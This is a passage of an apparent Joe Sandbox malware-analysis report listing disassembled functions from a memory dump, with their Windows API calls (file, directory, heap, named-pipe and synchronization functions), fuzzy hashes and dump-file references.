Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$ConnectErrorFileHeapLastNamedPipeProcessWrite
String ID: \\.\pipe\ToServer
API String ID: 3549655173-63420281
Opcode ID: bcfa6de99be9a02e180149a12c4d2b4e893c9bda174fa72a75b6a1ec69903f3d
Instruction ID: ba08c136bf9bfd0773fbf4dd5243f3857f0f6b4f8c320100828da010ee373e4d
Opcode Fuzzy Hash: bcfa6de99be9a02e180149a12c4d2b4e893c9bda174fa72a75b6a1ec69903f3d
Instruction Fuzzy Hash: 5941BC76604208EFDB14CF58D805BAEB7E8EF48325F10426EFC15DB380DBB1A9048B94

Uniqueness

Uniqueness Score: -1.00%

Function 00C15FB0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

_wcsrchr.LIBVCRUNTIME ref: 00C16071

Strings

\\?\, xrefs: 00C15DF4, 00C15E06, 00C15E10, 00C15F04, 00C15F16, 00C15F20

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess_wcsrchr
String ID: \\?\
API String ID: 3663133277-4282027825
Opcode ID: ce597da1829a901b3a909a2b40e83ccb0a80b5fb5f68dbe6397d79792808fd22
Instruction ID: 191c09405e51e42ca659124f1554bd9b5ac336b2454e9e3554b4b5ef52e0ac15
Opcode Fuzzy Hash: ce597da1829a901b3a909a2b40e83ccb0a80b5fb5f68dbe6397d79792808fd22
Instruction Fuzzy Hash: 4841B471A01516DBCB00DB68C888BAEF7F5EF45325F1482A9E421DB3D2DB319D44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C166D0 Relevance: 3.2, APIs: 2, Instructions: 177COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,?,00D46FD4,00000001,?), ref: 00C167DA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00D1B955,000000FF,?,00C556E9), ref: 00C167E8

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 17ef1ec43359cdcaf8f88a104808da0ddfef3347c65b80e462c5a378500b3bf1
Instruction ID: 798f56da0f4a6c256eff5000ff79fc6750d1baddbfa32b7e5a6e22d8946c5cd0
Opcode Fuzzy Hash: 17ef1ec43359cdcaf8f88a104808da0ddfef3347c65b80e462c5a378500b3bf1
Instruction Fuzzy Hash: 13618D71E00609DFDB14DFA8C885BEDBBF4EF16320F248269E425A72D1DB349A44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CC948C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CC8FBC: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00CC8FE7

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00CC92D3,?,00000000,?,?,?), ref: 00CC94ED
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00CC92D3,?,00000000,?,?,?), ref: 00CC952F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 542158810d28b5fb6bd5553f060fbc07e3ac80b9acb9746b6f5dcaccd8654ef0
Instruction ID: 73bf4ceb35359b8e199352669ce2b4720b54fe1b804205b6bc82fa2d8a85833c
Opcode Fuzzy Hash: 542158810d28b5fb6bd5553f060fbc07e3ac80b9acb9746b6f5dcaccd8654ef0
Instruction Fuzzy Hash: 48513470A003459EDB21CF75C888FAABBF5EF85304F14466EE0A6CB291D774DA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C541E0 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000), ref: 00C54245
CloseHandle.KERNEL32(?), ref: 00C54299

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseFreeHandleLibrary
String ID:
API String ID: 10933145-0
Opcode ID: dce6ad3d0a27b22ee8ceb0f55ccfd2b2d8b1e7e108acd767534ac88ce90b331e
Instruction ID: 33f2ce767f93d5b7aa34cb5d6f476b5fc645e7eb5111f7ae1cb51074f9db1cf7
Opcode Fuzzy Hash: dce6ad3d0a27b22ee8ceb0f55ccfd2b2d8b1e7e108acd767534ac88ce90b331e
Instruction Fuzzy Hash: 6421D8B4604705EBD714CF6AED48BA6BBE8FB08715F004219F825D73A0DBB99944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CC16FD Relevance: 2.5, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,?,00CCA60F,?,00000000,?,?,00CCA8B0,?,00000007,?,?,00CCAD02,?,?), ref: 00CC1713
GetLastError.KERNEL32(?,?,00CCA60F,?,00000000,?,?,00CCA8B0,?,00000007,?,?,00CCAD02,?,?), ref: 00CC171E

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2a6fca5b8293105be1a415a503a1c2a591fb0f95aff2b0640d86edddae3cbcd1
Instruction ID: 2a9446dec3c211ecd4ad48b435302a679e8726aedab02ba8908553949d459151
Opcode Fuzzy Hash: 2a6fca5b8293105be1a415a503a1c2a591fb0f95aff2b0640d86edddae3cbcd1
Instruction Fuzzy Hash: 37E08631100705E7CB212FA9ED0DB597B69AB51395F044024F508CA561EA348941D7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00C294E0 Relevance: 1.9, APIs: 1, Instructions: 414COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

_wcschr.LIBVCRUNTIME ref: 00C2960B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess_wcschr
String ID:
API String ID: 978982089-0
Opcode ID: ae7a2954583a60b36fefe818a48970b466bc9d2e985da876be9fe652ce5ab446
Instruction ID: ea863676883fae8a4cd70d4b044a329bbccb4fb6cdf21e078aac6070d666171a
Opcode Fuzzy Hash: ae7a2954583a60b36fefe818a48970b466bc9d2e985da876be9fe652ce5ab446
Instruction Fuzzy Hash: 5EF1C671A00626CFDB00DFA8D894AAEF7F5FF45320F188269E425E76A1DB349D45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C3A670 Relevance: 1.8, APIs: 1, Instructions: 282fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,00000000,00000000,?,00000000,80004005,?,?,?,7E4AB622), ref: 00C3A69B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: f964136f9ab2718d3e61bd378b1e439b4057278679ac33db16762057f81ec263
Instruction ID: 0295055d025b26cd376c924e49bd0e50c9b78e2e6436b561146a21730e1e2b66
Opcode Fuzzy Hash: f964136f9ab2718d3e61bd378b1e439b4057278679ac33db16762057f81ec263
Instruction Fuzzy Hash: 83710272A00615EFDB14DF58C881B9AFBB4EF05710F158269E964EB281DB30ED118BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C3B970 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

EnumResourceLanguagesW.KERNEL32(?,00000010,00000001,00C3BB50,?,7E4AB622,?,?,?,000000FF,?,00C3AFD7), ref: 00C3B9BB

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: EnumLanguagesResource
String ID:
API String ID: 4141015960-0
Opcode ID: 635ab950dae5108a68d33dc7c6d0c148d8f918a6e12c41ebfba9d6d124fee949
Instruction ID: 3cca8acd2d3c240be4ff2833a54a5823cd513f9eda02d8c0f13634c2161102c4
Opcode Fuzzy Hash: 635ab950dae5108a68d33dc7c6d0c148d8f918a6e12c41ebfba9d6d124fee949
Instruction Fuzzy Hash: CC51A171A106099FDB20DFA8C881BAEB7F4FF48704F100669E555A7281DB71EE45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C55500 Relevance: 1.7, APIs: 1, Instructions: 177synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,7E4AB622,00000000,?,?,00000001), ref: 00C55534

Part of subcall function 00B27340: RaiseException.KERNEL32(7E4AB622,7E4AB622,00000000,00000000,00C556DB,C000008C,00000001,7E4AB622), ref: 00B2734C

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ExceptionObjectRaiseSingleWait
String ID:
API String ID: 2077088295-0
Opcode ID: 445b055cf68e8b4e04a122ea871bbebe94889ce6e0487037367c7d21c383bb5f
Instruction ID: 4db452cb74c3c589bf94aa77d391501d525546c5d521ceed43b7f5069d02e6f0
Opcode Fuzzy Hash: 445b055cf68e8b4e04a122ea871bbebe94889ce6e0487037367c7d21c383bb5f
Instruction Fuzzy Hash: 08517C79A00A06DFCB04CF68C894A6AB7B5FF49311F5542A9E825DB3A1DB30ED44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00CC9090 Relevance: 1.6, APIs: 1, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(E8458D00,?,00CC92DF,00CC92D3,00000000), ref: 00CC90C2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: a9035e1ef04963f32a48d7ae00b42cbb35e819578234ded065368e6a5cb536ed
Instruction ID: 5862c22104fb484de2d410195a16cb13c0ae6a303b64ac27c6a8e7972f971bb6
Opcode Fuzzy Hash: a9035e1ef04963f32a48d7ae00b42cbb35e819578234ded065368e6a5cb536ed
Instruction Fuzzy Hash: B5516D719042589EDB218F68CC89FEA7BBCEB56704F2805EDD49AC7142C3319E46DF20

Uniqueness

Uniqueness Score: -1.00%

Function 00C1AD20 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00C1AF90: __Init_thread_footer.LIBCMT ref: 00C1B006

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

__Init_thread_footer.LIBCMT ref: 00C1AE00

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave
String ID:
API String ID: 3960375172-0
Opcode ID: 3db89bdb9ae5d5c893182e747b99a260234ad2eb469cb3cc920fc92338598779
Instruction ID: 22eec34893e6309d50235cfd10113a180f2ea4abc97f07ade92c31df2f12461c
Opcode Fuzzy Hash: 3db89bdb9ae5d5c893182e747b99a260234ad2eb469cb3cc920fc92338598779
Instruction Fuzzy Hash: 0C31AE75905700DFEB20DF14EC82B85B3E8FB06724F14031AE41587790D3F6A9549FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C54360 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00C39708,?,00000000,00000000,?,?), ref: 00C5437D

Part of subcall function 00B19AE0: HeapAlloc.KERNEL32(?,00000000,?,7E4AB622,00000000,00CD1390,000000FF,?,?,00DAE7AC,?,00B1CB99,80004005,7E4AB622,-00000010,?), ref: 00B19B2A

Part of subcall function 00C54450: WaitForSingleObject.KERNEL32(?,000000FF,7E4AB622,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 00C54484

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AllocCreateFileHeapObjectSingleWait
String ID:
API String ID: 2723504993-0
Opcode ID: e5049f3744ec2a1f575aa988765d486767ad81294b4f12dd5534171bec2321d2
Instruction ID: da1b9794c9a6cf0b86fb6e42b18b0e0c62ae5c5bf7d26c4453f91fa4557263c5
Opcode Fuzzy Hash: e5049f3744ec2a1f575aa988765d486767ad81294b4f12dd5534171bec2321d2
Instruction Fuzzy Hash: D5311738214B00DFD324DF28D888B5AB7E1FF88705F20895DE9AAD7360D731AA85CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00BFC8C0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

__Init_thread_footer.LIBCMT ref: 00BFC932

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID:
API String ID: 4132704954-0
Opcode ID: fffb55c6389cc6baf8ab814c8ccf1f69a196a1a128e44df3a2b9c531d4f8e5cf
Instruction ID: 509bb655fe7842e40c9f7ade8f515890bc6bbe1624e4806ae8f7f47ff1bc2e82
Opcode Fuzzy Hash: fffb55c6389cc6baf8ab814c8ccf1f69a196a1a128e44df3a2b9c531d4f8e5cf
Instruction Fuzzy Hash: EA01B1B1944608DFC710DF68D942B6573E4EB09724F50836AE81BC37D0DBB4A9048A21

Uniqueness

Uniqueness Score: -1.00%

Function 00C1AF90 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

__Init_thread_footer.LIBCMT ref: 00C1B006

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID:
API String ID: 4132704954-0
Opcode ID: 87e9ad0018c14b7c852a9ee9bb1dec0779b5ada26caa3126704881cce8de8306
Instruction ID: d3e0a5323f6e1440205de697c87ec341d2ab085b156d4cfda6cf812b0e6344c9
Opcode Fuzzy Hash: 87e9ad0018c14b7c852a9ee9bb1dec0779b5ada26caa3126704881cce8de8306
Instruction Fuzzy Hash: 5E01D6B1A44B08DFC710DF58DD42B8973A4E74A731F10036AE936977D0DBB5AD009B61

Uniqueness

Uniqueness Score: -1.00%

Function 00CC371B Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00CC2E29,?,?,00000000,?,00000000), ref: 00CC376D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: f338e6290f8a809419e97d75cec4ebe23317ac52d3f388c5b7db7b31ea4d75d1
Instruction ID: 4fb5a1fe19d613e78cc8adbc1f196fffdfc78d1e12d51d13e02b391c8128d4d1
Opcode Fuzzy Hash: f338e6290f8a809419e97d75cec4ebe23317ac52d3f388c5b7db7b31ea4d75d1
